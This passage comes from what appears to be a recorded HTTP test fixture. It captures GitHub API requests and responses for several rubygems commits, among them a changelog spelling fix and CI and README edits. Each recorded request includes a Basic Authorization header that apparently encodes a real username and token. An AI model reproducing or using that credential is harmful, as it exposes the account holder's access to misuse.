ygems/commit/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b"},{"sha":"df72290f82dfcdf88a2c11620258ac7f17279e74","url":"https://api.github.com/repos/rubygems/rubygems/commits/df72290f82dfcdf88a2c11620258ac7f17279e74","html_url":"https://github.com/rubygems/rubygems/commit/df72290f82dfcdf88a2c11620258ac7f17279e74"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"c7e5047de43d31871afad01a7743a6f158e111c7","filename":"History.txt","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/ed1564e0db30ab8c586d2869b58ddf900a5be1ea/History.txt","raw_url":"https://github.com/rubygems/rubygems/raw/ed1564e0db30ab8c586d2869b58ddf900a5be1ea/History.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/History.txt?ref=ed1564e0db30ab8c586d2869b58ddf900a5be1ea","patch":"@@ -8,7 +8,7 @@ Security fixes:\n Discovered by Jonathan Claudius, fix by Samuel Giddins.\n * Fix an ANSI escape sequence vulnerability. (CVE-2017-0899)\n Discovered by Yusuke Endoh, fix by Evan Phoenix.\n-* Fix a DOS vulernerability in the `query` command. (CVE-2017-0900)\n+* Fix a DOS vulnerability in the `query` command. (CVE-2017-0900)\n Discovered by Yusuke Endoh, fix by Samuel Giddins.\n * Fix a vulnerability in the gem installer that allowed a malicious gem\n to overwrite arbitrary files. (CVE-2017-0901)"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:10 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/df72290f82dfcdf88a2c11620258ac7f17279e74 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:10 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4421' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"806a7dbeaa42d27c9a0c9026423c6751" Last-Modified: - Wed, 27 Sep 2017 00:33:28 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.048778' X-Github-Request-Id: - C5B6:4D96:971B18:13A4318:5A50E47A body: encoding: ASCII-8BIT string: '{"sha":"df72290f82dfcdf88a2c11620258ac7f17279e74","commit":{"author":{"name":"Philip Arndt","email":"git@p.arndt.io","date":"2017-09-27T00:33:28Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-09-27T00:33:28Z"},"message":"Fix spelling of ''vulnerability''","tree":{"sha":"e40498794a3b4a10dc26c767b1780531010517c5","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e40498794a3b4a10dc26c767b1780531010517c5"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/df72290f82dfcdf88a2c11620258ac7f17279e74","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/df72290f82dfcdf88a2c11620258ac7f17279e74","html_url":"https://github.com/rubygems/rubygems/commit/df72290f82dfcdf88a2c11620258ac7f17279e74","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/df72290f82dfcdf88a2c11620258ac7f17279e74/comments","author":{"login":"parndt","id":10128,"avatar_url":"https://avatars3.githubusercontent.com/u/10128?v=4","gravatar_id":"","url":"https://api.github.com/users/parndt","html_url":"https://github.com/parndt","followers_url":"https://api.github.com/users/parndt/followers","following_url":"https://api.github.com/users/parndt/following{/other_user}","gists_url":"https://api.github.com/users/parndt/gists{/gist_id}","starred_url":"https://api.github.com/users/parndt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/parndt/subscriptions","organizations_url":"https://api.github.com/users/parndt/orgs","repos_url":"https://api.github.com/users/parndt/repos","events_url":"https://api.github.com/users/parndt/events{/privacy}","received_events_url":"https://api.github.com/users/parndt/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","url":"https://api.github.com/repos/rubygems/rubygems/commits/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","html_url":"https://github.com/rubygems/rubygems/commit/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"c7e5047de43d31871afad01a7743a6f158e111c7","filename":"History.txt","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/df72290f82dfcdf88a2c11620258ac7f17279e74/History.txt","raw_url":"https://github.com/rubygems/rubygems/raw/df72290f82dfcdf88a2c11620258ac7f17279e74/History.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/History.txt?ref=df72290f82dfcdf88a2c11620258ac7f17279e74","patch":"@@ -8,7 +8,7 @@ Security fixes:\n Discovered by Jonathan Claudius, fix by Samuel Giddins.\n * Fix an ANSI escape sequence vulnerability. (CVE-2017-0899)\n Discovered by Yusuke Endoh, fix by Evan Phoenix.\n-* Fix a DOS vulernerability in the `query` command. (CVE-2017-0900)\n+* Fix a DOS vulnerability in the `query` command. (CVE-2017-0900)\n Discovered by Yusuke Endoh, fix by Samuel Giddins.\n * Fix a vulnerability in the gem installer that allowed a malicious gem\n to overwrite arbitrary files. (CVE-2017-0901)"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:10 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/0890467188a68650adb09b1dc12793efb5dd1619 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:10 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4420' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"d95ac80d6b430a15c71c19add92fb355" Last-Modified: - Mon, 25 Sep 2017 20:27:27 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.050776' X-Github-Request-Id: - A2E8:4D94:4F0256:B30887:5A50E47A body: encoding: ASCII-8BIT string: '{"sha":"0890467188a68650adb09b1dc12793efb5dd1619","commit":{"author":{"name":"MSP-Greg","email":"MSP-Greg@users.noreply.github.com","date":"2017-09-25T20:27:27Z"},"committer":{"name":"MSP-Greg","email":"MSP-Greg@users.noreply.github.com","date":"2017-09-25T20:27:27Z"},"message":"Change trunk build from BinTray to Appveyor","tree":{"sha":"f2e1bed139c8a3fa0ffc9f9bd2d5bf9de42e5488","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f2e1bed139c8a3fa0ffc9f9bd2d5bf9de42e5488"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/0890467188a68650adb09b1dc12793efb5dd1619","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/0890467188a68650adb09b1dc12793efb5dd1619","html_url":"https://github.com/rubygems/rubygems/commit/0890467188a68650adb09b1dc12793efb5dd1619","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/0890467188a68650adb09b1dc12793efb5dd1619/comments","author":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"committer":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"parents":[{"sha":"f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","url":"https://api.github.com/repos/rubygems/rubygems/commits/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","html_url":"https://github.com/rubygems/rubygems/commit/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b"}],"stats":{"total":4,"additions":2,"deletions":2},"files":[{"sha":"dc96efdfda19a3bfad34a8510a0917c435e75202","filename":"appveyor.yml","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/0890467188a68650adb09b1dc12793efb5dd1619/appveyor.yml","raw_url":"https://github.com/rubygems/rubygems/raw/0890467188a68650adb09b1dc12793efb5dd1619/appveyor.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/appveyor.yml?ref=0890467188a68650adb09b1dc12793efb5dd1619","patch":"@@ -10,8 +10,8 @@ clone_depth: 10\n init:\n - mklink /d C:\\git \"C:\\Program Files\\Git\"\n - if %ruby_version%==_trunk (\n- appveyor DownloadFile https://dl.bintray.com/msp-greg/ruby_windows/ruby_trunk.7z -FileName C:\\ruby_trunk.7z &\n- 7z x C:\\ruby_trunk.7z -oC:\\ruby_trunk & C:\\ruby_trunk\\trunk_install.cmd )\n+ appveyor DownloadFile https://ci.appveyor.com/api/projects/MSP-Greg/ruby-loco/artifacts/ruby_trunk.7z -FileName C:\\ruby_trunk.7z &\n+ 7z x C:\\ruby_trunk.7z -oC:\\ruby_trunk )\n \n environment:\n PATH: C:/ruby%ruby_version%/bin;C:/Program Files/7-Zip;C:/Program Files/AppVeyor/BuildAgent;C:/git/cmd;C:/Program Files (x86)/GNU/GnuPG/pub;C:/Windows/system32;C:\\Windows;"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:10 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/23e0e4f6b29b8a8224542afa3fdb9405046a552a body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:10 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4419' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"8bf6ec50a4d8ced9ae28d43eaca42f85" Last-Modified: - Fri, 22 Sep 2017 21:33:32 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.041350' X-Github-Request-Id: - A2EA:4D96:971B38:13A4353:5A50E47A body: encoding: ASCII-8BIT string: '{"sha":"23e0e4f6b29b8a8224542afa3fdb9405046a552a","commit":{"author":{"name":"Jordan Danford","email":"jordandanford@gmail.com","date":"2017-09-22T21:33:32Z"},"committer":{"name":"Jordan Danford","email":"jordandanford@gmail.com","date":"2017-09-22T21:33:32Z"},"message":"Fix formatting of installation instructions in README","tree":{"sha":"49e89c7e8ab0dfefca618c8f11b62b8cd480dbc8","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/49e89c7e8ab0dfefca618c8f11b62b8cd480dbc8"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/23e0e4f6b29b8a8224542afa3fdb9405046a552a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/23e0e4f6b29b8a8224542afa3fdb9405046a552a","html_url":"https://github.com/rubygems/rubygems/commit/23e0e4f6b29b8a8224542afa3fdb9405046a552a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/23e0e4f6b29b8a8224542afa3fdb9405046a552a/comments","author":{"login":"jdanford","id":5767112,"avatar_url":"https://avatars2.githubusercontent.com/u/5767112?v=4","gravatar_id":"","url":"https://api.github.com/users/jdanford","html_url":"https://github.com/jdanford","followers_url":"https://api.github.com/users/jdanford/followers","following_url":"https://api.github.com/users/jdanford/following{/other_user}","gists_url":"https://api.github.com/users/jdanford/gists{/gist_id}","starred_url":"https://api.github.com/users/jdanford/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jdanford/subscriptions","organizations_url":"https://api.github.com/users/jdanford/orgs","repos_url":"https://api.github.com/users/jdanford/repos","events_url":"https://api.github.com/users/jdanford/events{/privacy}","received_events_url":"https://api.github.com/users/jdanford/received_events","type":"User","site_admin":false},"committer":{"login":"jdanford","id":5767112,"avatar_url":"https://avatars2.githubusercontent.com/u/5767112?v=4","gravatar_id":"","url":"https://api.github.com/users/jdanford","html_url":"https://github.com/jdanford","followers_url":"https://api.github.com/users/jdanford/followers","following_url":"https://api.github.com/users/jdanford/following{/other_user}","gists_url":"https://api.github.com/users/jdanford/gists{/gist_id}","starred_url":"https://api.github.com/users/jdanford/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jdanford/subscriptions","organizations_url":"https://api.github.com/users/jdanford/orgs","repos_url":"https://api.github.com/users/jdanford/repos","events_url":"https://api.github.com/users/jdanford/events{/privacy}","received_events_url":"https://api.github.com/users/jdanford/received_events","type":"User","site_admin":false},"parents":[{"sha":"f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","url":"https://api.github.com/repos/rubygems/rubygems/commits/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","html_url":"https://github.com/rubygems/rubygems/commit/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b"}],"stats":{"total":6,"additions":3,"deletions":3},"files":[{"sha":"c4038a35bed93744277cf6226611033388f01be5","filename":"README.md","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/23e0e4f6b29b8a8224542afa3fdb9405046a552a/README.md","raw_url":"https://github.com/rubygems/rubygems/raw/23e0e4f6b29b8a8224542afa3fdb9405046a552a/README.md","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/README.md?ref=23e0e4f6b29b8a8224542afa3fdb9405046a552a","patch":"@@ -19,9 +19,9 @@ See [UPGRADING](UPGRADING.rdoc) for more details and alternative instructions.\n \n If you don''t have RubyGems installed, you can still do it manually:\n \n-* Download from: https://rubygems.org/pages/download, unpack, and cd there\n-* OR clone this repository and cd there (make sure to run `git submodule update -\\-init`)\n-* Install with: ruby setup.rb # you may need admin/root privilege\n+* Download from https://rubygems.org/pages/download, unpack, and `cd` there\n+* OR clone this repository and `cd` there (make sure to run `git submodule update --init`)\n+* Install with `ruby setup.rb` (you may need admin/root privilege)\n \n For more details and other options, see:\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:10 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/abada4bccca9b43536acf6090a0946f4e7a2ec30 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:10 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4418' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"90d2a0a30a25a604a0e5fb04c19be7f5" Last-Modified: - Mon, 18 Sep 2017 07:57:09 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.050741' X-Github-Request-Id: - C5BC:4D96:971B42:13A436A:5A50E47A body: encoding: ASCII-8BIT string: '{"sha":"abada4bccca9b43536acf6090a0946f4e7a2ec30","commit":{"author":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-09-18T07:16:41Z"},"committer":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-09-18T07:57:09Z"},"message":"allow failures for ruby trunk in appveyor","tree":{"sha":"bbf0cb008763f8511561b3e127bac3e1bfa12a87","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bbf0cb008763f8511561b3e127bac3e1bfa12a87"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/abada4bccca9b43536acf6090a0946f4e7a2ec30","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/abada4bccca9b43536acf6090a0946f4e7a2ec30","html_url":"https://github.com/rubygems/rubygems/commit/abada4bccca9b43536acf6090a0946f4e7a2ec30","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/abada4bccca9b43536acf6090a0946f4e7a2ec30/comments","author":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"committer":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"parents":[{"sha":"f89b5b5744c2136d41ffc6cb00d2c299ac32a284","url":"https://api.github.com/repos/rubygems/rubygems/commits/f89b5b5744c2136d41ffc6cb00d2c299ac32a284","html_url":"https://github.com/rubygems/rubygems/commit/f89b5b5744c2136d41ffc6cb00d2c299ac32a284"}],"stats":{"total":4,"additions":4,"deletions":0},"files":[{"sha":"2c948f1d57a05ce15bb19bef4b4b406a64e309ab","filename":"appveyor.yml","status":"modified","additions":4,"deletions":0,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/abada4bccca9b43536acf6090a0946f4e7a2ec30/appveyor.yml","raw_url":"https://github.com/rubygems/rubygems/raw/abada4bccca9b43536acf6090a0946f4e7a2ec30/appveyor.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/appveyor.yml?ref=abada4bccca9b43536acf6090a0946f4e7a2ec30","patch":"@@ -31,6 +31,10 @@ environment:\n - ruby_version: _trunk\n GIT: C:/git/cmd/git.exe\n \n+matrix:\n+ allow_failures:\n+ - ruby_version: _trunk\n+\n install:\n - ps: >-\n git submodule update --init --recursive"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:10 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:10 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4417' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"e88d4e242167970410ea962cfdfcda8d" Last-Modified: - Fri, 15 Sep 2017 05:51:29 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.035735' X-Github-Request-Id: - C5BE:4D95:F485B6:1C8467B:5A50E47A body: encoding: ASCII-8BIT string: '{"sha":"f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-09-15T05:51:29Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-09-15T05:51:29Z"},"message":"Auto merge of #2012 - rubygems:seg-re-enable-bundler-for-gemdeps, r=hsbt\n\nRe-enable using Bundler for gemdeps\n\n# Description:\n\nSince @hsbt told us that we''re ready to release v2.7 _including the use of Bundler_, we can safely re-enable using Bundler!","tree":{"sha":"c4653dd00b9a39a4aa39de52d452fd4c32295401","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c4653dd00b9a39a4aa39de52d452fd4c32295401"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","html_url":"https://github.com/rubygems/rubygems/commit/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"c17dfa6519b0e35fe025da0d24408486a8765c5e","url":"https://api.github.com/repos/rubygems/rubygems/commits/c17dfa6519b0e35fe025da0d24408486a8765c5e","html_url":"https://github.com/rubygems/rubygems/commit/c17dfa6519b0e35fe025da0d24408486a8765c5e"},{"sha":"a5b99c09fe2d877a96ff967b683070ad8f7e4b8a","url":"https://api.github.com/repos/rubygems/rubygems/commits/a5b99c09fe2d877a96ff967b683070ad8f7e4b8a","html_url":"https://github.com/rubygems/rubygems/commit/a5b99c09fe2d877a96ff967b683070ad8f7e4b8a"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[